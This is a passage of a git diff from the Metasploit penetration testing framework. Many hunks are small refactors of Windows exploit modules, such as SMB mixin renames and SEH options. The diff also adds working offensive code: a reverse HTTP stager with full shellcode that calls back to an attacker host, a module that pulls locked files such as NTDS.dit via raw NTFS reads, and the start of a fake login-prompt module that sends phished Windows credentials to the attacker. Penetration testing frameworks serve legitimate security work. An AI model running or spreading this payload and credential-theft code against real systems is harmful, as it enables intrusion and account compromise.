'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/misc/poppeeper_date.rb b/modules/exploits/windows/misc/poppeeper_date.rb index b9a121ccd4..9e987f14eb 100644 --- a/modules/exploits/windows/misc/poppeeper_date.rb +++ b/modules/exploits/windows/misc/poppeeper_date.rb @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/misc/poppeeper_uidl.rb b/modules/exploits/windows/misc/poppeeper_uidl.rb index c57b60e38a..b5f896d75b 100644 --- a/modules/exploits/windows/misc/poppeeper_uidl.rb +++ b/modules/exploits/windows/misc/poppeeper_uidl.rb @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/misc/talkative_response.rb b/modules/exploits/windows/misc/talkative_response.rb index bb16741b6b..4b867975e7 100644 --- a/modules/exploits/windows/misc/talkative_response.rb +++ b/modules/exploits/windows/misc/talkative_response.rb @@ -27,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/misc/windows_rsh.rb b/modules/exploits/windows/misc/windows_rsh.rb index 5813334b8c..d6acee9bb0 100644 --- a/modules/exploits/windows/misc/windows_rsh.rb +++ b/modules/exploits/windows/misc/windows_rsh.rb @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/nntp/ms05_030_nntp.rb b/modules/exploits/windows/nntp/ms05_030_nntp.rb index 072d899ec9..d1e2bd80c7 100644 --- a/modules/exploits/windows/nntp/ms05_030_nntp.rb +++ b/modules/exploits/windows/nntp/ms05_030_nntp.rb @@ -28,6 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/novell/groupwisemessenger_client.rb b/modules/exploits/windows/novell/groupwisemessenger_client.rb index 5bfc5009a1..212d81188d 100644 --- a/modules/exploits/windows/novell/groupwisemessenger_client.rb +++ b/modules/exploits/windows/novell/groupwisemessenger_client.rb @@ -28,6 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/oracle/extjob.rb b/modules/exploits/windows/oracle/extjob.rb index f79440694c..7af245692f 100644 --- a/modules/exploits/windows/oracle/extjob.rb +++ b/modules/exploits/windows/oracle/extjob.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::CmdStager def initialize(info = {}) diff --git a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb index 0c0b18f160..25e75addc9 100644 --- a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb +++ b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb index fe99df9652..4a8e6d2e04 100644 --- a/modules/exploits/windows/scada/scadapro_cmdexe.rb +++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote end payload_src = lhost - payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe" + payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe" stager_name = rand_text_alpha(6) + ".vbs" stager = build_vbs(payload_src, stager_name) diff --git a/modules/exploits/windows/smb/ms03_049_netapi.rb b/modules/exploits/windows/smb/ms03_049_netapi.rb index 3bf00f05d6..2b1c6f7272 100644 --- a/modules/exploits/windows/smb/ms03_049_netapi.rb +++ b/modules/exploits/windows/smb/ms03_049_netapi.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb index 7c125a2371..ded0c6d24d 100644 --- a/modules/exploits/windows/smb/ms04_007_killbill.rb +++ b/modules/exploits/windows/smb/ms04_007_killbill.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = LowRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms04_011_lsass.rb b/modules/exploits/windows/smb/ms04_011_lsass.rb index 951d22c5a2..8c9150e72f 100644 --- a/modules/exploits/windows/smb/ms04_011_lsass.rb +++ b/modules/exploits/windows/smb/ms04_011_lsass.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote # This module exploits a vulnerability in the LSASS service # include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms04_031_netdde.rb b/modules/exploits/windows/smb/ms04_031_netdde.rb index f985b40e7f..63bb2284c4 100644 --- a/modules/exploits/windows/smb/ms04_031_netdde.rb +++ b/modules/exploits/windows/smb/ms04_031_netdde.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms05_039_pnp.rb b/modules/exploits/windows/smb/ms05_039_pnp.rb index 9e978f40b5..c607558b2b 100644 --- a/modules/exploits/windows/smb/ms05_039_pnp.rb +++ b/modules/exploits/windows/smb/ms05_039_pnp.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) diff --git a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb index db8d4bb5c2..ad523283c1 100644 --- a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb +++ b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms06_025_rras.rb b/modules/exploits/windows/smb/ms06_025_rras.rb index 62f2c5845b..73bf7bd392 100644 --- a/modules/exploits/windows/smb/ms06_025_rras.rb +++ b/modules/exploits/windows/smb/ms06_025_rras.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms06_040_netapi.rb b/modules/exploits/windows/smb/ms06_040_netapi.rb index f9e8cde4ad..335165a58d 100644 --- a/modules/exploits/windows/smb/ms06_040_netapi.rb +++ b/modules/exploits/windows/smb/ms06_040_netapi.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms06_066_nwapi.rb b/modules/exploits/windows/smb/ms06_066_nwapi.rb index 9b96ebf279..17b58d9077 100644 --- a/modules/exploits/windows/smb/ms06_066_nwapi.rb +++ b/modules/exploits/windows/smb/ms06_066_nwapi.rb @@ -10,8 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms06_066_nwwks.rb b/modules/exploits/windows/smb/ms06_066_nwwks.rb index 8f3a1e1f91..e5104d14c2 100644 --- a/modules/exploits/windows/smb/ms06_066_nwwks.rb +++ b/modules/exploits/windows/smb/ms06_066_nwwks.rb @@ -9,8 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms06_070_wkssvc.rb b/modules/exploits/windows/smb/ms06_070_wkssvc.rb index bc3c5fb11a..059ff04131 100644 --- a/modules/exploits/windows/smb/ms06_070_wkssvc.rb +++ b/modules/exploits/windows/smb/ms06_070_wkssvc.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Requires valid/working DOMAIN + DC include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Seh def initialize(info = {}) diff --git a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb index d652f02644..651de13296 100644 --- a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb +++ b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index 6abb686312..bbd5ac0eac 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb index 1d4af26353..3cf78788c9 100644 --- a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb +++ b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::KernelMode def initialize(info = {}) diff --git a/modules/exploits/windows/smb/ms10_061_spoolss.rb b/modules/exploits/windows/smb/ms10_061_spoolss.rb index 08b9056f16..b1b688e620 100644 --- a/modules/exploits/windows/smb/ms10_061_spoolss.rb +++ b/modules/exploits/windows/smb/ms10_061_spoolss.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::EXE include Msf::Exploit::WbemExec diff --git a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb index 51ee545d34..b9c0a1baea 100644 --- a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb +++ b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index b329921947..35bbbeff6f 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -18,7 +18,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report include Msf::Exploit::EXE include Msf::Exploit::WbemExec diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index f8bca9625b..4c395acfb0 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Exploit::Powershell def initialize(info = {}) diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 6480845c9d..fefa197c31 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -22,7 +22,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::SMBServer + include Msf::Exploit::Remote::SMB::Server include Msf::Exploit::EXE def initialize(info = {}) diff --git a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb index 0c630c4ead..ceea4829b0 100644 --- a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb +++ b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb new file mode 100644 index 0000000000..681d61f840 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb @@ -0,0 +1,111 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' + + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Windows + + def self.handler_type_alias + "reverse_http_proxy_pstore" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse HTTP Stager Proxy', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHttp, + 'Convention' => 'sockedi http', + 'Stager' => + { + 'Offsets' => + { + 'EXITFUNC' => [ 579, 'V' ], + 'LPORT' => [ 499, 'v' ], # Not a typo, really little endian + }, + 'Payload' => +# Built on Thu Mar 6 02:37:12 2014 + +# Name: stager_reverse_http_proxy_pstore +# Length: 649 bytes +# LEPort Offset: 499 +# ExitFunk Offset: 579 +"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + +"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + +"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + +"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + +"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + +"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + +"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + +"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + +"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + +"\x60\xEB\x16\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x10\x00\x00\x6A" + +"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\xC3\xB3\x09\xE8\xE3\xFF\xFF\xFF" + +"\x50\xFE\xCB\x75\xF6\x68\x72\x65\x63\x00\x68\x70\x73\x74\x6F\x54" + +"\x68\x4C\x77\x26\x07\xFF\xD5\x5A\x5A\x5F\x57\x6A\x00\x6A\x00\x6A" + +"\x00\x57\x68\xDB\xBD\x64\x26\xFF\xD5\x58\x5A\x52\x50\x52\x6A\x00" + +"\x6A\x00\x8B\x00\x50\x8B\x10\x8B\x52\x38\xFF\xD2\xBF\x00\x81\x7E" + +"\x5E\x58\x5A\x59\x51\x52\x50\x6A\x00\x51\x6A\x01\x8B\x12\x52\x8B" + +"\x12\x8B\x52\x0C\xFF\xD2\x8B\x44\x24\x08\x8B\x00\x85\xC0\x0F\x84" + +"\xB1\x00\x00\x00\x39\xC7\x75\xD9\x58\x5A\x59\x5F\x57\x51\x52\x50" + +"\x57\x6A\x00\x51\x6A\x00\x8B\x00\x50\x8B\x10\x8B\x52\x3C\xFF\xD2" + +"\x8B\x44\x24\x0C\x8B\x54\x24\x10\x6A\x00\x52\x6A\x01\x8B\x00\x50" + +"\x8B\x10\x8B\x52\x0C\xFF\xD2\x58\x59\x5A\x52\x51\x50\x8B\x4C\x24" + +"\x10\x8B\x7C\x24\x14\x57\x6A\x00\x51\x52\x6A\x00\x8B\x00\x50\x8B" + +"\x10\x8B\x52\x54\xFF\xD2\x8B\x44\x24\x14\x8B\x4C\x24\x18\x6A\x00" + +"\x51\x6A\x01\x8B\x00\x50\x8B\x10\x8B\x52\x0C\xFF\xD2\x58\x50\x6A" + +"\x00\x6A\x00\x8B\x4C\x24\x24\x51\x8B\x4C\x24\x2C\x51\x8B\x4C\x24" + +"\x28\x8B\x09\x51\x8B\x4C\x24\x24\x51\x8B\x4C\x24\x20\x51\x6A\x00" + +"\x8B\x00\x50\x8B\x10\x8B\x52\x44\xFF\xD2\x8B\x44\x24\x1C\x8B\x00" + +"\x50\xB1\x3A\x8A\x10\x38\xD1\x74\x0C\x40\x8A\x10\x38\xD1\x75\xF9" + +"\xC6\x00\x00\x40\x50\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54" + +"\x68\x4C\x77\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54" + +"\x68\x3A\x56\x79\xA7\xFF\xD5\xEB\x4B\x5B\x31\xFF\x57\x57\x6A\x03" + +"\x51\x52\x68\x5C\x11\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5" + +"\xEB\x34\x59\x31\xD2\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52" + +"\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57" + +"\x57\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B" + +"\x74\x10\xEB\xE9\xEB\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34" + +"\x35\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00" + +"\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53" + +"\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF" + +"\xD5\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\x5E" + +"\x5E\x5E\x59\x5A\xE8\x60\xFF\xFF\xFF"} + )) + end + + # + # Do not transmit the stage over the connection. We handle this via HTTPS + # + def stage_over_connection? + false + end + + # + # Generate the first stage + # + def generate + p = super + i = p.index("/12345\x00") + u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00" + p[i, u.length] = u + p + datastore['LHOST'].to_s + "\x00" + end + + # + # Always wait at least 20 seconds for this payload (due to staging delays) + # + def wfs_delay + 20 + end +end diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index 8e2dded9e2..22519eae57 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Post register_options([ OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]), - OptString.new('FIELDS', [true, 'Fields to retrieve.','sAMAccountName,userAccountControl,comment,description']), + OptString.new('FIELDS', [true, 'Fields to retrieve.','userPrincipalName,sAMAccountName,userAccountControl,comment,description']), OptString.new('FILTER', [true, 'Search filter.','(&(&(objectCategory=person)(objectClass=user))(|(description=*pass*)(comment=*pass*)))']), ], self.class) end @@ -63,7 +63,6 @@ class Metasploit3 < Msf::Post q[:results].each do |result| row = [] - report = {} result.each do |field| if field[:value].nil? row << "" diff --git a/modules/post/windows/gather/enum_ad_users.rb b/modules/post/windows/gather/enum_ad_users.rb index 94cbbc526e..e0cba065b2 100644 --- a/modules/post/windows/gather/enum_ad_users.rb +++ b/modules/post/windows/gather/enum_ad_users.rb @@ -12,7 +12,13 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Accounts UAC_DISABLED = 0x02 - USER_FIELDS = ['sAMAccountName', 'userAccountControl', 'lockoutTime', 'mail', 'primarygroupid', 'description'].freeze + USER_FIELDS = ['sAMAccountName', + 'userPrincipalName', + 'userAccountControl', + 'lockoutTime', + 'mail', + 'primarygroupid', + 'description'].freeze def initialize(info = {}) super(update_info( @@ -35,6 +41,7 @@ class Metasploit3 < Msf::Post OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]), OptBool.new('EXCLUDE_LOCKED', [true, 'Exclude in search locked accounts..', false]), OptBool.new('EXCLUDE_DISABLED', [true, 'Exclude from search disabled accounts.', false]), + OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]), OptEnum.new('UAC', [true, 'Filter on User Account Control Setting.', 'ANY', [ 'ANY', @@ -48,10 +55,17 @@ class Metasploit3 < Msf::Post end def run + @user_fields = USER_FIELDS.dup + + if datastore['ADDITIONAL_FIELDS'] + additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/,"").split(',') + @user_fields.push(*additional_fields) + end + max_search = datastore['MAX_SEARCH'] begin - q = query(query_filter, max_search, USER_FIELDS) + q = query(query_filter, max_search, @user_fields) rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e # Can't bind or in a network w/ limited accounts print_error(e.message) @@ -93,7 +107,7 @@ class Metasploit3 < Msf::Post 'Header' => "Domain Users", 'Indent' => 1, 'SortIndex' => -1, - 'Columns' => USER_FIELDS + 'Columns' => @user_fields ) results.each do |result| @@ -107,9 +121,9 @@ class Metasploit3 < Msf::Post end end - username = result.first[:value] - uac = result[1][:value] - lockout_time = result[2][:value] + username = result[@user_fields.index('sAMAccountName')][:value] + uac = result[@user_fields.index('userAccountControl')][:value] + lockout_time = result[@user_fields.index('lockoutTime')][:value] store_username(username, uac, lockout_time, domain, domain_ip) results_table << row diff --git a/modules/post/windows/gather/file_from_raw_ntfs.rb b/modules/post/windows/gather/file_from_raw_ntfs.rb new file mode 100644 index 0000000000..b2a50ac2eb --- /dev/null +++ b/modules/post/windows/gather/file_from_raw_ntfs.rb @@ -0,0 +1,105 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/parser/fs/ntfs' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Error + + ERROR = Msf::Post::Windows::Error + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows File Gather File from Raw NTFS', + 'Description' => %q{ + This module gathers a file using the raw NTFS device, bypassing some Windows restrictions + such as open file with write lock. Because it avoids the usual file locking issues, it can + be used to retrieve files such as NTDS.dit. + }, + 'License' => 'MSF_LICENSE', + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr>'], # @danilbaz + 'References' => [ + [ 'URL', 'http://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172/' ] + ] + )) + + register_options( + [ + OptString.new('FILE_PATH', [true, 'The FILE_PATH to retreive from the Volume raw device', nil]) + ], self.class) + end + + def run + winver = sysinfo["OS"] + + fail_with(Exploit::Failure::NoTarget, 'Module not valid for Windows 2000') if winver =~ /2000/ + fail_with(Exploit::Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin? + + file_path = datastore['FILE_PATH'] + + r = client.railgun.kernel32.GetFileAttributesW(file_path) + + case r['GetLastError'] + when ERROR::SUCCESS, ERROR::SHARING_VIOLATION, ERROR::ACCESS_DENIED, ERROR::LOCK_VIOLATION + # Continue, we can bypass these errors as we are performing a raw + # file read. + when ERROR::FILE_NOT_FOUND, ERROR::PATH_NOT_FOUND + fail_with( + Exploit::Failure::BadConfig, + "The file, #{file_path}, does not exist, use file format C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts" + ) + else + fail_with( + Exploit::Failure::Unknown, + "Unknown error locating #{file_path}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}" + ) + end + + drive = file_path[0, 2] + + r = client.railgun.kernel32.CreateFileW("\\\\.\\#{drive}", + 'GENERIC_READ', + 'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE', + nil, + 'OPEN_EXISTING', + 'FILE_FLAG_WRITE_THROUGH', + 0) + + if r['GetLastError'] != ERROR::SUCCESS + fail_with( + Exploit::Failure::Unknown, + "Error opening #{drive}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}") + end + + @handle = r['return'] + vprint_status("Successfuly opened #{drive}") + begin + @bytes_read = 0 + fs = Rex::Parser::NTFS.new(self) + print_status("Trying to gather #{file_path}") + path = file_path[3, file_path.length - 3] + data = fs.file(path) + file_name = file_path.split("\\")[-1] + stored_path = store_loot("windows.file", 'application/octet-stream', session, data, file_name, "Windows file") + print_good("Saving file : #{stored_path}") + ensure + client.railgun.kernel32.CloseHandle(@handle) + end + print_status("Post Successful") + end + + def read(size) + client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer'] + end + + def seek(offset) + high_offset = offset >> 32 + low_offset = offset & (2**33 - 1) + client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0) + end +end diff --git a/modules/post/windows/gather/outlook.rb b/modules/post/windows/gather/outlook.rb index 8b9958db03..92269c8d9c 100644 --- a/modules/post/windows/gather/outlook.rb +++ b/modules/post/windows/gather/outlook.rb @@ -144,7 +144,7 @@ class Metasploit3 < Msf::Post # Check whether target system is locked locked = client.railgun.user32.GetForegroundWindow()['return'] if locked == 0 - fail_with(Failure::Unknown, "Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked") + fail_with(Failure::Unknown, "Target system is locked. This post module cannot click on Outlook's security warning when the target system is locked.") end case action.name diff --git a/modules/post/windows/gather/phish_windows_credentials.rb b/modules/post/windows/gather/phish_windows_credentials.rb new file mode 100644 index 0000000000..2bf68fa43c --- /dev/null +++ b/modules/post/windows/gather/phish_windows_credentials.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Registry + include Msf::Post::Windows::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Gather User Credentials (phishing)', + 'Description' => %q{ + This module is able to perform a phishing attack on the target by popping up a loginprompt. + When the user fills credentials in the loginprompt, the credentials will be sent to the attacker. + The module is able to monitor for new processes and popup a loginprompt when a specific process is starting. Tested on Windows 7. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Wesley Neelen <security[at]forsec.nl', # Metasploit module, @wez3forsec on Twitter + 'Matt Nelson' # Original powershell script, @enigma0x3 on Twitter + ], + 'References' => [ 'URL', 'https://forsec.nl/2015/02/windows-credentials-phishing-using-metasploit' ], + 'Platform' => [ 'win' ], + 'Arch' => [ 'x86', 'x64' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options( + [ + OptString.new('PROCESS', [ false, 'Prompt if a specific process is started by the target. (e.g. calc.exe or specify * for all processes)' ]), + OptString.new('DESCRIPTION', [ true, 'Message shown in the loginprompt', "{PROCESS_NAME} 